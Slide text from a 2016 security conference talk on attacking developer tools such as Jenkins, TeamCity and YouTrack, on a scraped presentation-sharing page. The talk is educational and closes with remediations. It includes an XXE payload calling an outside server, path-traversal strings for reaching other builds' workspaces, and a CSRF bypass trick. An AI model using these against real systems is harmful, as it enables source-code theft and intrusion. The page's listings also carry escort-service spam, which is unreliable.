SE2_Lec 22_Software Configuration Management
 
Transforming your Security Products at the Endpoint
Transforming your Security Products at the EndpointTransforming your Security Products at the Endpoint
Transforming your Security Products at the Endpoint
 
Bba i-introduction to computer-u-2- application and system software
Bba  i-introduction to computer-u-2- application and system softwareBba  i-introduction to computer-u-2- application and system software
Bba i-introduction to computer-u-2- application and system software
 
Spug pt session2 - debuggingl
Spug pt session2 - debugginglSpug pt session2 - debuggingl
Spug pt session2 - debuggingl
 
Faults inside System Software
Faults inside System SoftwareFaults inside System Software
Faults inside System Software
 
Continuous Security for GitOps
Continuous Security for GitOpsContinuous Security for GitOps
Continuous Security for GitOps
 
Bca i-fundamental of computer-u-2- application and system software
Bca  i-fundamental of  computer-u-2- application and system softwareBca  i-fundamental of  computer-u-2- application and system software
Bca i-fundamental of computer-u-2- application and system software
 
BLUG 2012 Version Control for Notes Developers
BLUG 2012 Version Control for Notes DevelopersBLUG 2012 Version Control for Notes Developers
BLUG 2012 Version Control for Notes Developers
 
Bsc cs 1 fit u-2 application and system software
Bsc cs 1 fit u-2 application and system softwareBsc cs 1 fit u-2 application and system software
Bsc cs 1 fit u-2 application and system software
 
Thick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
 

Último

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsRoshan Dwivedi
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 

Último (20)

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 

[CONFidence 2016] Andrey Plastunov - Simple bugs to pwn the devs

  • 2. About Pentester at Digital Security [DSEC.RU] @DSecRU @plastunovaa @osakaaa a.plastunov@dsec.ru
  • 4. Source code Issue App IDEs CI Source code Components: Scheme
  • 5. An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of a source code editor, build automation tools and a debugger. Most modern IDEs have intelligent code completion. (с) Wikipedia ● Consumes user input ● Produces sources ● Builds sources ● Uses plugins for integration with other tools ● Has UI Components: IDE
  • 6. An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of a source code editor, build automation tools and a debugger. Most modern IDEs have intelligent code completion. (с) Wikipedia ● Consumes user input ● Produces sources ● Builds sources ● Uses plugins for integration with other tools ● Has UI ● (Even the IDE!) Can be the target of an attack Components: IDE
  • 7. Components: IDE An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of a source code editor, build automation tools and a debugger. Most modern IDEs have intelligent code completion. (с) Wikipedia ● Consumes user input ● Produces sources ● Builds sources ● Uses plugins for integration with other tools ● Has UI ● Can be target of an attack Jetbrains Intellij based IDEs prone to CSRF vulnerability which allows attacker to access local file system from a malicious website JetBrain’s advisory: https://blog.jetbrains.com/blog/2016/05/11/security- update-for-intellij-based-ides-v2016-1-and-older-versions/ Example
  • 8. A component of software configuration management, version control, also known as revision control or source control, is the management of changes to documents, computer programs, large web sites, and other collections of information ● Stores source code + additional info (not always trusted) ● Uses plugins for integration with other tools ● Has UI Components: Version control
  • 9. A component of software configuration management, version control, also known as revision control or source control, is the management of changes to documents, computer programs, large web sites, and other collections of information ● Stores source code + additional info (not always trusted) ● Uses plugins for integration with other tools ● Has UI ● Will be the target of attack Components: Version control
  • 10. Components: Version control A component of software configuration management, version control, also known as revision control or source control, is the management of changes to documents, computer programs, large web sites, and other collections of information ● Stores user supplied data (not always trusted) ● Uses plugins for integration with other tools ● Has UI ● Will be the target of attack A number of CVEs and other vulns in: ● GIT itself ● GIT-based repositories (Gitlub, GitHub etc) The same thing for less popular Mercurial and SVN Example
  • 11. Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day ● Stores user supplied data (not always trusted) ● Executes (!) user supplied data ● Stores credentials and other identity data ● Has UI Components: CI system
  • 12. Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day ● Stores user supplied data (not always trusted) ● Executes (!) user supplied data ● Stores credentials and other identity data ● Has UI ● The most expected to be the target of attack Components: CI system
  • 13. An issue tracking system (also ITS, trouble ticket system, support ticket, request management or incident ticket system) is a computer software package that manages and maintains lists of issues, as needed by an organization. ● Stores user supplied data (not always trusted) ● Has UI Components: Issue trackers
  • 14. An issue tracking system (also ITS, trouble ticket system, support ticket, request management or incident ticket system) is a computer software package that manages and maintains lists of issues, as needed by an organization. ● Stores user supplied data (not always trusted) ● Has UI ● Probably will be the target of attack Components: Issue trackers
  • 15. Components: Issue trackers An issue tracking system (also ITS, trouble ticket system, support ticket, request management or incident ticket system) is a computer software package that manages and maintains lists of issues, as needed by an organization. ● Stores user supplied data (not always trusted) ● Has UI ● Probably will be the target of attack A number of CVEs and other vulns in various issue tracking systems ● Latest XXE vulnerability in JetBrains YouTrack as an example of common WEB bug. http://blog.jetbrains.com/youtrack/2016/02/important-youtrack-6-5- 17031-update/ ● Much more funny example cve-2015-4499 in Bugzilla which allows escalation of privileges via improper validation of emails https://blog.perimeterx.com/bugzilla-cve-2015-4499/ Example
  • 16. 1. Directly affects Source codes of your product 2. Works with developer's identity 3. Can provide a great help for attacker during network infiltration Why so valuable?
  • 17. 1. The source code itself Can be stolen 2. Your application’s end users Can be infected Goodies: Source code
  • 18. ● Your private (signing) key Signing malicious code with your keys ● Evading Antiviruses ● Circumventing several security mechanisms on some OS (like iOS) Goodies: Developer’s identity
  • 19. ● Elevation of privilege ○ Domain credentials ○ Service credentials ○ SSH keys ... ● Malicious code execution -> full access to your network Goodies: Network infiltration
  • 20. Based on the previous slides, we have the following types of goodies: ● Source code ● Developers identity ● Network-used credentials ● Code execution (e.g. backend access) Goodies: Summary
  • 21. Attack surface? Where to look + + + - + + - - + + +++ + - - + - Actually, not in scope =) The information below based on my own experience with dev tools and may or may not represent your own knowledge. Also, the distribution of goodies between components based on my understanding of how each component should work Disclaimer
  • 22. Sources Identity Network creds Backend + + + - + + - - + + +++ + +- - + - Actually, not in scope =) Attack surface? Where to look
  • 23. Attack surface? The keys to pwn the components
  • 24. User Interface ● Graphical (mostly web-based) interface to control Master ● (sometimes) API’s and other such stuff Actually, each component has it Attack surface? The keys to pwn the components
  • 25. Plugins ● Various tools to modify base system Such as: ○ Security plugins ○ Integration plugins ○ Reporting plugins ○ …. With all this integration stuff, it is very likely, that a component has the ability to use plugins Attack surface? The keys to pwn the components
  • 27. [Component specific] Master ● Controls the entire system: ○ Configuration ○ User accounts ○ Plugin management ● Control slaves ● Builds targets ● Temporary hosts builded apps Attack surface? The keys to pwn the components
  • 28. [Component specific] Slaves ● Managed by master ● Build targets ● Temporary host builded apps Attack surface? The keys to pwn the components
  • 31. ● Vulnerable instances (often with public exploits) ● Default credentials (or their absence) ● Building tools runs under high privileged accounts (root or system) ● No (or bad) role management ● No sandboxing (isolation) *based on observation from various pentests Common configuration problems*
  • 32. ● No isolation on build servers ○ It is possible to access sources of other projects Just pass something like this to your build script: ../workspace/ - Jenkins Agent’s working dir ../../work/ (buildAgent/work/) - Teamcity Agent’s working dir A Note on isolation of builds ../workspace/ ../../work/ (buildAgent/work/)
  • 33. ● No isolation on build servers ○ It is possible to access sources of other projects ○ In case of Master, possibility to access server configuration itself Just pass something like this to your build script: ../workspace/ - Jenkins Agent’s working dir ../../work/ (buildAgent/work/) - Teamcity configuration dir A Note on isolation of builds $JENKINS_HOME/ .BuildServer/config/
  • 34. Jenkins. A number of XSS vectors misusing Jenkins functionality - Custom web server for user supplied data - HTML content from code repos Exploit: link Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! /UserContent/ /job/<ProjectName>/ws/
  • 35. Jenkins universal CSRF CVE-2015-7538 Exploit: Change Content-Type for any request to multipart/form-data Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! if (valid || isMultipart(httpRequest)) { chain.doFilter(request, response); } else { LOGGER.log(Level.WARNING, "No valid crumb was included in request for {0}. Returning {1}.", new Object[] {httpRequest.getRequestURI(), HttpServletResponse.SC_FORBIDDEN});
  • 36. Notorious Java deserialization in Jenkins CLI (command line interface) deserialization vulnerability CVE-2015-8103 Affected library: ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1. jar Details and Exploit: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability by foxglove security Payload generator: https://github.com/frohoff/ysoserial Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
  • 37. Notorious Java deserialization in Jenkins Xstream parsing CVE-2016-0792 Details and Exploit: Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792) by contrast security Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
  • 38. TeamCity privilege escalation through IDOR. CVE-2015-1313 - is accessible even if registration is turned of in configs Details and exploit at: https://beyondbinary.io/articles/teamcity-account-creation/ Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! /registerUserSubmit.html
  • 39. YouTrack XXE in user import function Details: bo0om’s blog + hackerone report 114476 (sadly, both in Russian) Exploit: Send XML payload via PUT method to URI /rest/import/users?{test} Example payload: Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! <?xml version="1.0"?> <!DOCTYPE list [ <!ENTITY % xxe SYSTEM "http://myserver/xxe-test"> %xxe; ]> <list></list>
  • 41. Targets ● Source code ● Developer’s identity ● Network-used credentials ● Code execution (e.g. backend access) Exploitation
  • 42. ● Source code ○ Stealing the sources using lack of isolation between projects Exploitation
  • 43. ● Source code ○ Stealing the sources using lack of isolation between projects ○ Source code modification (infection) Exploitation
  • 44. ● Developer’s identity ○ Stealing the identity Exploitation
  • 45. ● Network Infiltration ○ Gaining credentials E.g. from local encrypted storage For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html - Retrieving the eccryption key via admin script console ○ Gaining backend access Exploitation
  • 46. Stealing the source codes and identity. Demo
  • 47. ● Network Infiltration ○ Gaining credentials E.g. from local encrypted storage For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html - Retrieving the ecryption key via admin script console ○ Gaining backend access Exploitation
  • 48. Gaining backend access via simple XSS. Demo
  • 49. ● Botnets. Small but funny Exploitation
  • 50. ● Botnets. Small but funny Official Jenkins CI Exploitation
  • 51. ● Botnets. Small but funny Official TeamCity CI Exploitation
  • 52. ● Botnets. Small but funny Exploitation Jenkins on the internet
  • 53. ● Botnets. Small but funny Exploitation Jenkins on the internetTeamcity on the internet
  • 55. Remediations. Summary ● Never rely on default settings ● Never bind to 0.0.0.0 ● Never rely on safety of 3rd party components like plugins ● Update your tools as soon as a new security advisory is published ● Perform additional validation on all user inputs (including sources) ● Try to isolate projects (Docker?)